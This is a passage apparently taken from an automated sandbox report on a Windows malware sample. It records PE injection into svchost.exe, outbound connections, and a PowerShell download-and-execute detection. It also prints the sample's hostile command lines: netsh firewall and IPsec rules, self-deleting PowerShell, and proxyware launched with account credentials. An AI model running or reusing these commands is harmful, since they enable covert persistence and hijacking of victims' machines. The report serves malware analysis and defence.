Source: svchost.exe, 0000001B.00000002.4097785305.0000000002E9A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: "@Hyper-V RAW
Source: MpMgSvc.exe, 00000015.00000002.4132960855.000000000925D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware1!
Source: Wmicc.exe, 00000037.00000002.2251870850.0000000000424000.00000008.00000001.01000000.0000000B.sdmp	Binary or memory string: vmware
Source: MpMgSvc.exe, 00000015.00000002.4132960855.000000000925D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware1!oO,
Source: netsh.exe, 0000002D.00000003.2223906927.0000000000D51000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllp
Source: netsh.exe, 0000002B.00000003.2220555824.0000000000F61000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllq
Source: netsh.exe, 00000027.00000003.2204623902.00000000007A1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllyyNt
Source: MpMgSvc.exe, 00000015.00000003.3489852982.00000000010CC000.00000004.00000020.00020000.00000000.sdmp, MpMgSvc.exe, 00000015.00000003.3488791845.00000000010B7000.00000004.00000020.00020000.00000000.sdmp, MpMgSvc.exe, 00000015.00000003.3764343426.00000000010DA000.00000004.00000020.00020000.00000000.sdmp, MpMgSvc.exe, 00000015.00000002.4106764127.00000000010DB000.00000004.00000020.00020000.00000000.sdmp, MpMgSvc.exe, 00000015.00000002.4105744345.000000000106E000.00000004.00000020.00020000.00000000.sdmp, MpMgSvc.exe, 00000015.00000002.4106615440.00000000010CE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001B.00000002.4097132664.0000000002E7C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001B.00000002.4095973569.0000000002E12000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: netsh.exe, 00000021.00000003.2184267041.0000000000971000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllvv6
Source: netsh.exe, 00000023.00000003.2192695628.0000000000EF2000.00000004.00000020.00020000.00000000.sdmp, netsh.exe, 00000029.00000003.2214430031.0000000001461000.00000004.00000020.00020000.00000000.sdmp, netsh.exe, 0000002F.00000003.2228914388.0000000001241000.00000004.00000020.00020000.00000000.sdmp, netsh.exe, 00000031.00000003.2231512618.0000000000E41000.00000004.00000020.00020000.00000000.sdmp, netsh.exe, 00000033.00000003.2234649394.0000000000831000.00000004.00000020.00020000.00000000.sdmp, netsh.exe, 00000035.00000002.2254697875.000000000122A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: netsh.exe, 0000001E.00000003.2178659325.0000000000571000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllvv
Source: netsh.exe, 00000025.00000003.2200708244.0000000000E91000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllzz

Source: C:\Users\user\Desktop\exe1.bin.bak.exe	API call chain: ExitProcess graph end node	graph_0-26971
Source: C:\Users\user\Desktop\exe1.bin.bak.exe	API call chain: ExitProcess graph end node	graph_0-27130
Source: C:\Users\user\Desktop\exe1.bin.bak.exe	API call chain: ExitProcess graph end node	graph_0-27012
Source: C:\Users\user\Desktop\exe1.bin.bak.exe	API call chain: ExitProcess graph end node	graph_0-26972
Source: C:\Users\user\Desktop\exe1.bin.bak.exe	API call chain: ExitProcess graph end node	graph_0-27126
Source: C:\Users\user\Desktop\exe1.bin.bak.exe	API call chain: ExitProcess graph end node	graph_0-27060
Source: C:\Users\user\Desktop\exe1.bin.bak.exe	API call chain: ExitProcess graph end node	graph_0-27006
Source: C:\Users\user\Desktop\exe1.bin.bak.exe	API call chain: ExitProcess graph end node	graph_0-26914
Source: C:\Users\user\Desktop\exe1.bin.bak.exe	API call chain: ExitProcess graph end node	graph_0-26915
Source: C:\Users\user\Desktop\exe1.bin.bak.exe	API call chain: ExitProcess graph end node	graph_0-26927
Source: C:\Windows\Temp\MpMgSvc.exe	API call chain: ExitProcess graph end node	graph_21-5339
Source: C:\Windows\Temp\MpMgSvc.exe	API call chain: ExitProcess graph end node	graph_21-5777
Source: C:\Windows\SysWOW64\svchost.exe	API call chain: ExitProcess graph end node	graph_27-4966
Source: C:\Windows\SysWOW64\svchost.exe	API call chain: ExitProcess graph end node	graph_27-4693
Source: C:\Windows\SysWOW64\svchost.exe	API call chain: ExitProcess graph end node	graph_27-5041
Source: C:\Windows\SysWOW64\svchost.exe	API call chain: ExitProcess graph end node	graph_27-4597
Source: C:\Windows\SysWOW64\svchost.exe	API call chain: ExitProcess graph end node	graph_27-4960
Source: C:\Windows\Temp\Wmicc.exe	API call chain: ExitProcess graph end node	graph_55-15210
Source: C:\Windows\Temp\Wmicc.exe	API call chain: ExitProcess graph end node	graph_55-14901
Source: C:\Windows\Temp\Wmicc.exe	API call chain: ExitProcess graph end node	graph_55-15590
Source: C:\Windows\Temp\Wmicc.exe	API call chain: ExitProcess graph end node	graph_55-15157

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 29_2_0040BE60 BlockInput,BlockInput,

29_2_0040BE60

Source: C:\Users\user\Desktop\exe1.bin.bak.exe

Code function: 0_2_0041F2E0 GetModuleHandleA,LoadLibraryA,GetProcAddress,74B6E3D0,74B6E3D0,FreeLibrary,

0_2_0041F2E0

Source: C:\Users\user\Desktop\exe1.bin.bak.exe	Code function: 0_2_0044B91C mov eax, dword ptr fs:[00000030h]	0_2_0044B91C
Source: C:\Users\user\Desktop\exe1.bin.bak.exe	Code function: 0_2_0044CB37 mov eax, dword ptr fs:[00000030h]	0_2_0044CB37
Source: C:\Windows\Temp\Wmicc.exe	Code function: 55_2_00407185 mov ebx, dword ptr fs:[00000030h]	55_2_00407185

Source: C:\Users\user\Desktop\exe1.bin.bak.exe

Code function: 0_2_0040E6C0 GetProcessHeap,RtlAllocateHeap,MessageBoxA,

0_2_0040E6C0

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Process token adjusted: Debug

Source: C:\Users\user\Desktop\exe1.bin.bak.exe	Code function: 0_2_00418C6E SetUnhandledExceptionFilter,	0_2_00418C6E
Source: C:\Users\user\Desktop\exe1.bin.bak.exe	Code function: 0_2_00418C80 SetUnhandledExceptionFilter,	0_2_00418C80
Source: C:\Windows\Temp\Wmicc.exe	Code function: 55_2_004132E3 SetUnhandledExceptionFilter,	55_2_004132E3
Source: C:\Windows\Temp\Wmicc.exe	Code function: 55_2_004132F5 SetUnhandledExceptionFilter,	55_2_004132F5

Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe

Memory allocated: page read and write | page guard

HIPS / PFW / Operating System Protection Evasion

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 107.189.29.100 80
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 211.108.60.155 80
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 1.226.84.135 53

Yara detected Powershell download and execute

Source: Yara match	File source: Process Memory Space: MpMgSvc.exe PID: 7432, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Wmicc.exe PID: 15416, type: MEMORYSTR
Source: Yara match	File source: C:\Windows\Temp\Wmicc.exe, type: DROPPED

Injects a PE file into a foreign processes

Source: C:\Windows\SysWOW64\svchost.exe

Memory written: C:\Windows\SysWOW64\svchost.exe base: 400000 value starts with: 4D5A

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 29_2_0040C310 mouse_event,SetCursorPos,WindowFromPoint,SetCapture,MapVirtualKeyA,keybd_event,MapVirtualKeyA,keybd_event,mouse_event,mouse_event,

29_2_0040C310

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 29_2_0040C310 mouse_event,SetCursorPos,WindowFromPoint,SetCapture,MapVirtualKeyA,keybd_event,MapVirtualKeyA,keybd_event,mouse_event,mouse_event,

29_2_0040C310

Source: C:\Users\user\Desktop\exe1.bin.bak.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh ipsec static add policy name=Block	Jump to behavior
Source: C:\Users\user\Desktop\exe1.bin.bak.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh ipsec static add filterlist name=Filter1	Jump to behavior
Source: C:\Users\user\Desktop\exe1.bin.bak.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=135 protocol=TCP	Jump to behavior
Source: C:\Users\user\Desktop\exe1.bin.bak.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=139 protocol=TCP	Jump to behavior
Source: C:\Users\user\Desktop\exe1.bin.bak.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=445 protocol=TCP	Jump to behavior
Source: C:\Users\user\Desktop\exe1.bin.bak.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh ipsec static add filteraction name=FilteraAtion1 action=block	Jump to behavior
Source: C:\Users\user\Desktop\exe1.bin.bak.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh ipsec static add rule name=Rule1 policy=Block filterlist=Filter1 filteraction=FilteraAtion1	Jump to behavior
Source: C:\Users\user\Desktop\exe1.bin.bak.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh ipsec static set policy name=Block assign=y	Jump to behavior
Source: C:\Users\user\Desktop\exe1.bin.bak.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Start-Sleep -s 2;del "C:\Users\user\Desktop\exe1.bin.bak.exe"	Jump to behavior
Source: C:\Windows\Temp\Hooks.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Start-Sleep -s 2;del "C:\WINDOWS\Temp\Hooks.exe"
Source: C:\Windows\SysWOW64\svchost.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Windows\system32\svchost.exe"
Source: C:\Windows\SysWOW64\svchost.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh advfirewall firewall add rule name=Microsoft_ctfmoon dir=in program=C:\Windows\Microsoft.NET\ctfmoon.exe action=allow
Source: C:\Windows\SysWOW64\svchost.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh advfirewall firewall add rule name=Microsoft_ctfmoon dir=out program=C:\Windows\Microsoft.NET\ctfmoon.exe action=allow
Source: C:\Windows\SysWOW64\svchost.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh advfirewall firewall set rule name=Microsoft_ctfmoon new enable=yes
Source: C:\Windows\SysWOW64\svchost.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh advfirewall firewall add rule name=Microsoft_Edge dir=in program=C:\Windows\Microsoft.NET\Meson.exe action=allow
Source: C:\Windows\SysWOW64\svchost.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh advfirewall firewall add rule name=Microsoft_Edge dir=out program=C:\Windows\Microsoft.NET\Meson.exe action=allow
Source: C:\Windows\SysWOW64\svchost.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh advfirewall firewall set rule name=Microsoft_Edge new enable=yes
Source: C:\Windows\SysWOW64\svchost.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh advfirewall firewall add rule name=Microsoft_Dcom dir=in program=C:\Windows\Microsoft.NET\traffmonetizer\traffmonetizer.exe action=allow
Source: C:\Windows\SysWOW64\svchost.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh advfirewall firewall add rule name=Microsoft_Dcom dir=out program=C:\Windows\Microsoft.NET\traffmonetizer\traffmonetizer.exe action=allow
Source: C:\Windows\SysWOW64\svchost.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh advfirewall firewall set rule name=Microsoft_Dcom new enable=yes
Source: C:\Windows\SysWOW64\svchost.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh advfirewall firewall add rule name=Microsoft_Store dir=in program=C:\WINDOWS\Microsoft.Net\Framework\v3.0\WmiPrvSER.exe action=allow
Source: C:\Windows\SysWOW64\svchost.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh advfirewall firewall add rule name=Microsoft_Store dir=out program=C:\WINDOWS\Microsoft.Net\Framework\v3.0\WmiPrvSER.exe action=allow
Source: C:\Windows\SysWOW64\svchost.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh advfirewall firewall set rule name=Microsoft_Store new enable=yes
Source: C:\Windows\SysWOW64\svchost.exe	Process created: C:\Windows\Microsoft.NET\ctfmoon.exe C:\Windows\Microsoft.NET\ctfmoon.exe -email=usax138@protonmail.com -password=123456Aa. -device-name=Win32 -accept-tos
Source: C:\Windows\SysWOW64\svchost.exe	Process created: C:\Windows\Microsoft.NET\Meson.exe C:\Windows\Microsoft.NET\Meson.exe
Source: C:\Windows\SysWOW64\svchost.exe	Process created: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe C:\Windows\Microsoft.NET\traffmonetizer\traffmonetizer.exe

Source: MpMgSvc.exe, 00000015.00000002.4094624711.0000000000C1B000.00000040.00000001.01000000.00000008.sdmp

Binary or memory string: DOF_PROGMAN

Source: C:\Users\user\Desktop\exe1.bin.bak.exe

Code function: 0_2_0044A250 cpuid

0_2_0044A250

Source: C:\Windows\SysWOW64\netsh.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Windows\SysWOW64\netsh.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\netsh.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\netsh.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\netsh.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\netsh.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\netsh.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\netsh.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\netsh.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\netsh.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\netsh.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\netsh.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\netsh.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Microsoft.NET\traffmonetizer\Base.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Microsoft.NET\traffmonetizer\System.Text.Json.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Microsoft.NET\traffmonetizer\System.Memory.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Microsoft.NET\traffmonetizer\System.Buffers.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Microsoft.NET\traffmonetizer\System.ValueTuple.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Microsoft.NET\traffmonetizer\System.Runtime.CompilerServices.Unsafe.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Microsoft.NET\traffmonetizer\System.Text.Encodings.Web.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Microsoft.NET\traffmonetizer\System.Numerics.Vectors.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Microsoft.NET\traffmonetizer\System.Net.Http.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\calibrii.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\calibrili.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\calibrib.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\calibriz.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\cambriai.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\cambriab.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\cambriaz.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\Candara.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\Candaral.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\Candarai.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\Candarali.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\Candarab.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\Candaraz.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\comic.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\comici.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\comicbd.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\comicz.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\constan.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\constani.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\constanb.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\constanz.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\corbel.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\corbell.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\corbeli.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\corbelli.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\corbelb.ttf VolumeInformation
